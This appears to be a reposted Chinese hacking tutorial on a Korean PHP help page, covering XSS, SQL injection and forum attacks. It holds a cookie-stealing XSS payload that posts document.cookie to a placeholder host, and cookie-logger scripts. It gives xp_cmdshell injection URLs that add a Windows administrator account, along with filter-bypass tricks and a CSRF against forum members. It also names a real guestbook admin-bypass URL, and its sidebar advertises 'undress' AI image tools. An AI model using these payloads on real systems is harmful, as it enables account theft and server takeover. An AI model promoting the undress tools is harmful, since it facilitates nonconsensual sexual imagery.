찾다
백엔드 개발PHP 튜토리얼脚本安全和利用_PHP

脚本安全和利用_PHP

Jun 01, 2016 pm 12:25 PM
개정하다사용할 수 있다안전우리를공격각본필터

最近脚本攻击好象是很流行的,不过早在很久前就有这个了!脚本攻击严格的说应该是一件艺术而不是漏洞!首先我们先要知道什么是脚本,脚本就是运行在网页服务器上的文本程序,例如:ASP、PHP、CGI、JSP、ISAP等等,脚本的攻击就是利用这些文件的设置和编写时的错误或者疏忽不当,攻击者就可以利用这些来达到自己攻击目的,如果一个服务器存在这些漏洞,那么它的沦陷也是时间的问题!
这些文本文件一般都是要结合数据库来使用的,这些数据库有ACCESS、MSSQL、MYSQL、Oracle等!脚本攻击就是针对这些数据库来配合脚本对一些变量的过滤不严的问题来达到得到用户密码等敏感信息,修改数据库等目的!下面我就针对这些来分别举例说明!
一、跨站脚本的攻击
脚本的跨站(CSS/XSS)就是利用程序对用户提交的变量不严,大多数是利用多媒体标签,前段时间比较流行的flash跨站就是利用的这个,比如我在[FLASH=450,350][/FLASH]之间插入一个我自己作好的一个swf文件,swf文件里我们用geturl里加上javascript:window.open('_blank>http://qfaq.yeah.net')就可以让他打开清风安全网的网站,如果这里是一个木马网页,呵呵,,,你就等着中木马吧!还有就是窃取用户的cookie,例如我们利用[IMG][/IMG]也就是图片的跨站,在这个里面插入
这段地址即可得到!如果将javascript过滤掉后怎么办?
好,我们在看看下面这段代码:
[upload=swf]uploadImages/200310812145390577.swf?"><script>aa="var"+unescape("%20")+"dat;dat=escape(document.cookie);var"+unescape("%20")+"http=new"+unescape("%20")+"ActiveXObject('Microsoft.XMLHTTP');ht"+"tp.open"+unescape("%20")+"('POST','ht'+'tp://xxx/bbs/usersms.asp?action=send&touser=czy&title=flashcookie&submit=发送&message='+dat,false);http.send();";eval(aa)</script>[/upload]
怎么样,还是能将你的信息得到的,而且还不会弹出对话框!
另外在joekoe论坛程序里还有一个这样的问题,比如你发个帖子里有[DIR][/DIR]就会弹出一个播放器的安装程序,呵呵,如果是一个黑心的站长利用这个来放马,那后果就不用说了吧!
解决办法:现在还没有好的方法解决这个问题,你要做的就是将多媒体的标签删掉!
另附ASP和PHP的跨站代码
php如下
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("test.txt","a");
fwrite($fp,$info."n");
fclose($fp);
}
?>



asp如下
testfile=Server.MapPath("cookies.txt")
msg=Request("msg")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg& "")
thisfile.close
set fs = nothing
%>
二、sql injection
是现在最热门的,也是本文要重点说的!
1、ASP+ACCESS数据库类型的SQL注射
现在的大多数网站是采用的这个组合,但是如果在ASP程序中没有对用户提交的变量充分过滤的话就可能导致管理员密码被猜到,整个网站的信息就会暴漏无移~!
在大多数ASP站点中,我们并不知道其程序代码,靠任何扫描器也不可能发现SQL injection漏洞,这时就要靠手工检测了,由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“--”,所以我们就在可修改的URL后加上以上符号,或在表单中的文本框加上这些符号!比如比较经典的金梅系统漏洞,在movie.aps中有怎么一段代码:
articleid=request("id")
set rs=server.createobject("adodb.recordset")
sql="update learning set hits=hits+1 where articleID="&articleid
rs.open sql,conn,1,3
sql="select * from learning where articleid="&articleid
rs.open sql,conn,1,1

articleid未经任何检查便提交了,所以我们就可以自己构造一些SQL语句来提交上去!具体的利用过程请看拙作《SQL注入完整篇》和《SQL注入的补充》的动画教程,这里我就不在重复的说了!
2、ASP+MYSQL数据库类型的利用
MYSQL数据库简单使用和强大的功能一直以来都是网管们的最爱!但是如果是ASP中没有对变量过滤的话,我们就可以来直接的到他的系统管理员权限!
比如动网论坛、BBSXP论坛的SQL版有好几个文件都没有对ID过滤,所以我们只要找到他的存在问题的页面就可以了,
看这段代码:rs.open "select * from news where newsid=" & cstr(request("newsid")),conn,1,1
比如我们提交:
_blank>http://XXX/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user xuehan ilovexuehan /add';--
_blank>http://XXX/show.asp?id=1;exec master.dbo.xp_cmdshell 'net localgroup administrators xuehan /add';--
看到了吗?我们已经在系统中田加了一个xuehan 密码是ilovexuehan的管理员帐号,以下的事情你就自己来做吧,呵呵,,,不用我来教了吧!!!
如果过滤了分号和单引号怎么办?呵呵,我们只要将我们的命令形式转换一下,比如我们转换成十六进制或者别的形式就可以继续注入了,还有就是他如果过滤了xp_cmdshell 我们也可以解决,我们可以写成xp'+'_cmd'+'shell形式,如果他将xp_cmdshell 扩展删掉,我们可以通过xplog70.dll文件来恢复,呵呵,,,具体自己查找下数据库的知识,当然我们也可以用别的扩展!所以说SQL injection不仅仅是一门技术,更要有灵活的头脑和扎实的数据库知识,特别是对SQL语言的掌握程度,如果不会SQL语言,你永远都是生搬硬套,遇到障碍就过不去了!
3、PHP+MYSQL数据库类型
PHP+MYSQL一直以来都认为是最安全的组合,不过一些文件没有过滤单引号、反斜线等,我们也可以来进行注入,不过在最新的php安装程序里的php.ini文件默认都是对这些过滤掉的,所以很大情况下我们是无法对进行注入的,不过也有许多牛人们可以饶过这个限制的!由于我的PHP和MYSQL不是太懂,所以就不能来具体举例来说明了,大家要是有兴趣可以去找写资料来看!!!
需要从根本上解决解决SQL Injection问题。还得从程序本身入手。过滤不能单纯的过滤URL所提交的参数,在表单里的也要过滤,value=后面的可以修改的数据,修改后可以提交到服务器,总之对所有的表单提交的数据以及用户可能对HTML源文件进行修改来控制的所有来自Web服务器外部的数据进行过滤或转换,对单引号、双引号、分号“--”还有对数字键上面的所有特殊字符进行过滤,还有QUERY_STRING环境变量。在服务器上删除一些危险的扩展存储过程,比如xp_cmdshell。有条件装个IDS更好,不敢说无坚不摧,但至少可以阻挡大部分攻击者。
三、一些别的脚本攻击
有些程序没有对cookie或者session进行过滤和检查,就造成了用户可以非法修改提交页面,自己提交修改数据,比如像海阳顶端网木马的以前版本对session没有过滤,我们就可以饶过密码的验证来到达真正的页面,还有就是post提交的问题,像leadbbs的2.77版本就是没有充分的过滤,我们就可以把管理员的密码修改成自己的密码!
还有一个脚本的攻击例子,在Discuz! 2.0 论坛里,因为个人属性缺乏必要的安全确认,所以很容易诱使其他会员自动修改其个人属性内容,特别是注册邮件信息,这关系着登陆密码的修改。
比如我们发个帖子,写上











诱使会员点击这个页面后,就会自动修改该会员注册的email地址为crack.x.h2163.com。当然为了隐蔽性,可以更新后自动关闭,然后调用另外一个假地址。
当然我们也可以利用这个漏洞进行欺骗、隐藏来诱惑管理员来修改我们为管理员等等!大家自己去学习吧!
看了这么多枯燥的东西下面我们再来看看另外一个好玩的漏洞,在百渡里搜索”传奇留言薄“找几个免费的留言本进去,找到他的登陆页面,我找到的一个是:
_blank>http://www.conanshome.com/guestbook/login.asp
我们再来看看下面这个连接:
_blank>http://www.conanshome.com/guestbook/admin.asp?adminid=admin
哈,怎么我们就闯入后台了!!!
什么原因,自己去琢磨吧!
后记:脚本的攻击可以说是防不胜防的,我们所要做的只能是提高编写程序的严谨态度,人为的因素在脚本攻击中是最重要的!
声明:本文提到的漏洞都有一定的攻击性,我们的目的是探讨技术,搞破坏的是小人!所造成的一切后果于作者无关!由于作者水平有限,文中难免有错误之处,欢迎指出!
성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
PHP 세션이 실패 할 수있는 몇 가지 일반적인 문제는 무엇입니까?PHP 세션이 실패 할 수있는 몇 가지 일반적인 문제는 무엇입니까?Apr 25, 2025 am 12:16 AM

phpsession 실패 이유에는 구성 오류, 쿠키 문제 및 세션 만료가 포함됩니다. 1. 구성 오류 : 올바른 세션을 확인하고 설정합니다. 2. 쿠키 문제 : 쿠키가 올바르게 설정되어 있는지 확인하십시오. 3. 세션 만료 : 세션 시간을 연장하기 위해 세션을 조정합니다 .GC_MAXLIFETIME 값을 조정하십시오.

PHP의 세션 관련 문제를 어떻게 디버그합니까?PHP의 세션 관련 문제를 어떻게 디버그합니까?Apr 25, 2025 am 12:12 AM

PHP에서 세션 문제를 디버그하는 방법 : 1. 세션이 올바르게 시작되었는지 확인하십시오. 2. 세션 ID의 전달을 확인하십시오. 3. 세션 데이터의 저장 및 읽기를 확인하십시오. 4. 서버 구성을 확인하십시오. 세션 ID 및 데이터를 출력, 세션 파일 컨텐츠보기 등을 통해 세션 관련 문제를 효과적으로 진단하고 해결할 수 있습니다.

session_start ()가 여러 번 호출되면 어떻게됩니까?session_start ()가 여러 번 호출되면 어떻게됩니까?Apr 25, 2025 am 12:06 AM

Session_Start ()로 여러 통화를하면 경고 메시지와 가능한 데이터 덮어 쓰기가 발생합니다. 1) PHP는 세션이 시작되었다는 경고를 발행합니다. 2) 세션 데이터의 예상치 못한 덮어 쓰기를 유발할 수 있습니다. 3) Session_status ()를 사용하여 반복 통화를 피하기 위해 세션 상태를 확인하십시오.

PHP에서 세션 수명을 어떻게 구성합니까?PHP에서 세션 수명을 어떻게 구성합니까?Apr 25, 2025 am 12:05 AM

SESSION.GC_MAXLIFETIME 및 SESSION.COOKIE_LIFETIME을 설정하여 PHP에서 세션 수명을 구성 할 수 있습니다. 1) SESSION.GC_MAXLIFETIME 서버 측 세션 데이터의 생존 시간을 제어합니다. 2) 세션 .Cookie_Lifetime 클라이언트 쿠키의 수명주기를 제어합니다. 0으로 설정하면 브라우저가 닫히면 쿠키가 만료됩니다.

세션을 저장하기 위해 데이터베이스를 사용하면 어떤 장점이 있습니까?세션을 저장하기 위해 데이터베이스를 사용하면 어떤 장점이 있습니까?Apr 24, 2025 am 12:16 AM

데이터베이스 스토리지 세션 사용의 주요 장점에는 지속성, 확장 성 및 보안이 포함됩니다. 1. 지속성 : 서버가 다시 시작 되더라도 세션 데이터는 변경되지 않아도됩니다. 2. 확장 성 : 분산 시스템에 적용하여 세션 데이터가 여러 서버간에 동기화되도록합니다. 3. 보안 : 데이터베이스는 민감한 정보를 보호하기 위해 암호화 된 스토리지를 제공합니다.

PHP에서 사용자 정의 세션 처리를 어떻게 구현합니까?PHP에서 사용자 정의 세션 처리를 어떻게 구현합니까?Apr 24, 2025 am 12:16 AM

SessionHandlerInterface 인터페이스를 구현하여 PHP에서 사용자 정의 세션 처리 구현을 수행 할 수 있습니다. 특정 단계에는 다음이 포함됩니다. 1) CustomsessionHandler와 같은 SessionHandlerInterface를 구현하는 클래스 만들기; 2) 인터페이스의 방법 (예 : Open, Close, Read, Write, Despare, GC)의 수명주기 및 세션 데이터의 저장 방법을 정의하기 위해 방법을 다시 작성합니다. 3) PHP 스크립트에 사용자 정의 세션 프로세서를 등록하고 세션을 시작하십시오. 이를 통해 MySQL 및 Redis와 같은 미디어에 데이터를 저장하여 성능, 보안 및 확장 성을 향상시킬 수 있습니다.

세션 ID 란 무엇입니까?세션 ID 란 무엇입니까?Apr 24, 2025 am 12:13 AM

SessionId는 웹 애플리케이션에 사용되는 메커니즘으로 사용자 세션 상태를 추적합니다. 1. 사용자와 서버 간의 여러 상호 작용 중에 사용자의 신원 정보를 유지하는 데 사용되는 무작위로 생성 된 문자열입니다. 2. 서버는 쿠키 또는 URL 매개 변수를 통해 클라이언트로 생성하여 보낸다. 3. 생성은 일반적으로 임의의 알고리즘을 사용하여 독창성과 예측 불가능 성을 보장합니다. 4. 실제 개발에서 Redis와 같은 메모리 내 데이터베이스를 사용하여 세션 데이터를 저장하여 성능 및 보안을 향상시킬 수 있습니다.

무국적 환경 (예 : API)에서 세션을 어떻게 처리합니까?무국적 환경 (예 : API)에서 세션을 어떻게 처리합니까?Apr 24, 2025 am 12:12 AM

JWT 또는 쿠키를 사용하여 API와 같은 무국적 환경에서 세션을 관리 할 수 ​​있습니다. 1. JWT는 무국적자 및 확장 성에 적합하지만 빅 데이터와 관련하여 크기가 크다. 2. 쿠키는보다 전통적이고 구현하기 쉽지만 보안을 보장하기 위해주의해서 구성해야합니다.

See all articles

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

Video Face Swap

Video Face Swap

완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

뜨거운 도구

SecList

SecList

SecLists는 최고의 보안 테스터의 동반자입니다. 보안 평가 시 자주 사용되는 다양한 유형의 목록을 한 곳에 모아 놓은 것입니다. SecLists는 보안 테스터에게 필요할 수 있는 모든 목록을 편리하게 제공하여 보안 테스트를 더욱 효율적이고 생산적으로 만드는 데 도움이 됩니다. 목록 유형에는 사용자 이름, 비밀번호, URL, 퍼징 페이로드, 민감한 데이터 패턴, 웹 셸 등이 포함됩니다. 테스터는 이 저장소를 새로운 테스트 시스템으로 간단히 가져올 수 있으며 필요한 모든 유형의 목록에 액세스할 수 있습니다.

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

Eclipse용 SAP NetWeaver 서버 어댑터

Eclipse용 SAP NetWeaver 서버 어댑터

Eclipse를 SAP NetWeaver 애플리케이션 서버와 통합합니다.

SublimeText3 Linux 새 버전

SublimeText3 Linux 새 버전

SublimeText3 Linux 최신 버전

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)